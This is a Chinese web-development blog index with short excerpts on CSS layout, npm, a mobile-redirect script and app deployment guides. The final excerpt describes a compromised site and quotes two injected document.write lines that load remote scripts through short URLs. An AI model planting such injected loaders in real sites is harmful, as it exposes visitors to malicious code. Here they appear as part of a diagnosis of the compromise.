前端开发 | 速光网络博客

哀悼武汉新冠肺炎逝去者网站页面拉灰

html{ filter: grayscale(100%); -webkit-filter: grayscale(100%); -moz-filter: grayscale(100%); -ms-filter: grayscale(100%); -o-filter: grayscale(100%); filter: url(“data:image/svg+xml;utf8,#grayscale”); filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); -webkit-filter: grayscale(1);} /*20200404全国哀悼 */ 阅读全文

作者：admin | 分类：CSS | 阅读： |
抢沙发

CSS响应式设计

什么是 Viewport? viewport 是用户网页的可视区域。 viewport 翻译为中文可以叫做"视区"。手机浏览器是把页面放在一个虚拟的"窗口"（viewport）中，通常这个虚拟的"窗口"（viewport）比屏幕宽，这样就不用把每个网页挤到很小的窗口中（这样会破坏没有针对手机浏览器优化的网页的布局），用户可以通过平移和缩放来看网页的不同部分。 <meta name="viewport" content="width=device-width...阅读全文

作者：admin | 分类：CSS | 阅读： |
抢沙发

幼麟棋牌四川麻将搭建教程补充

幼麟棋牌搭建只支持Win，Mac也可以，因为有CocosCreator版本，Linux不支持，建议使用Win Server搭建。一、软件需要操作系统：Win Server 2016 Datacenter 数据库：MySQL 5.7（使用宝塔集成，创建数据库game，导入server/sql/db_babykylin.sql） nodejs：node-v6.16.0-x64 游戏引擎：CocosCreator_v2.0.6 非必要软件 Git-2.25.1-64-bit 用于下载 Visual Studio Code 编辑工具 npp.7.8.4 ...阅读全文

作者：admin | 分类：NodeJs | 阅读： |
抢沙发

叮点跑腿小程序部署教程补充

项目开源地址：https://gitee.com/yaozy717/ddrun 项目目录介绍 |--server //服务端目录 |--client //后台客户端目录 |--wxapp //微信小程序项目目录 |--ddrun.sql //数据库文件复制代码准备工作 1.微信小程序账号 (需要企业版+微信认证) 2.微信商户号需要支付证书用做退款功能 3.如需公众号提醒功能需要认证过的服务号 4.阿里云短信相关的东西 5.腾讯地图API key 6.已备案的域...阅读全文

作者：admin | 分类：NodeJs | 阅读： |
抢沙发

css元素居中

我们做前端开发时，经常会用到元素居中，包括：1. 一段文本的水平居中，2. 一张图片的水平居中，3. 一个块级元素的水平居中；4. 单行文本的竖直居中，5. 不确定高度的一段文本竖直居中，6. 确定高度的块级元素竖直居中等等。现在分别对其进行总结下：让元素水平垂直居中，也可以使用让元素显示为单元格，让单元格原本的垂直居中发挥作用： <div class="parent"> <div class=...阅读全文

作者：admin | 分类：CSS | 阅读： |
抢沙发

css display:flex 属性

一：display:flex 布局 display:flex 是一种布局方式。它即可以应用于容器中，也可以应用于行内元素。是W3C提出的一种新的方案，可以简便、完整、响应式地实现各种页面布局。目前，它已经得到了所有浏览器的支持。 Flex是Flexible Box的缩写，意为"弹性布局"，用来为盒状模型提供最大的灵活性。设为Flex布局以后，子元素的float、clear和vertical-align属性将失效。二：flex的六个属性 ...阅读全文

作者：admin | 分类：CSS | 阅读： |
抢沙发

npm基本命令

1、npm是什么？ npm（Node Package Manager）意思是 node 的包管理器，它是随着 NodeJs 安装时一起被安装的；无论是在前端还是在前端开发中都会使用到 npm 包管理器。（前端框架开发react、Vue...，后台 node 开发）； 2、安装去官网下载对应操作系统的 nodeJS，官网地址：https://nodejs.org/en/download/ 3、npm简单命令使用 ① npm -v 查看 npm 的版本 ② 安装包方法 n...阅读全文

作者：admin | 分类：NodeJs | 阅读： |
抢沙发

CSS导航居中方法

CSS导航菜单水平居中的多种方法：方法1：display:inline-block 方法2：position:relative 方法3：display:table 方法4：display:inline-flex 方法5：width:fit-content / width:intrinsic 方法1：display:inline-block 这个方法比较简单，是将容器转成「display:inline-block」行内块级元素，然后就可以直接用「text-align:center」使其达到水平居中效果。 HTML代码：这里我们需要一个d...阅读全文

作者：admin | 分类：CSS | 阅读： |
抢沙发

PC站自动跳转移动端

<meta http-equiv="mobile-agent" content="format=xhtml;url=/m/index.html"> <script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amo...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

实现的WordPress代码高亮插件——WP-googlecodeprettify

WP-googlecodeprettify一个基于 Google Code Prettify 实现的WordPress代码高亮插件，在TinyMCE编辑器中提供了一个插入代码的按钮。在文本编辑器中，加入了pre-js,pre-css,pre-html 3个快捷按钮; GitHub 开源地址：https://github.com/feiwen8772/wp-googlecodeprettify 代码高亮效果：https://www.html.cn/archives/4728 更新信息 2017年08月24日 v3.0 更新：新增显示文件名，显示文件名...阅读全文

作者：admin | 分类：HTML | 阅读： |
抢沙发

短网址挂马技术

某网站正在做百度推广，由于现在百度查的严格，检查页面指向含有ccymf.com 链接地址，打开该网址发现是登录页面但在网站整站的代码里搜索也没有找到，最后在 .js文件中找到两处 document.write("<script type=\"text/javascript\" src=\"http://t.cn/R4lyzeo\"></script>"); document.write("<script type=\"text/javascript\" src=\"http://t.cn/R4lqMAu\"></scrip...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发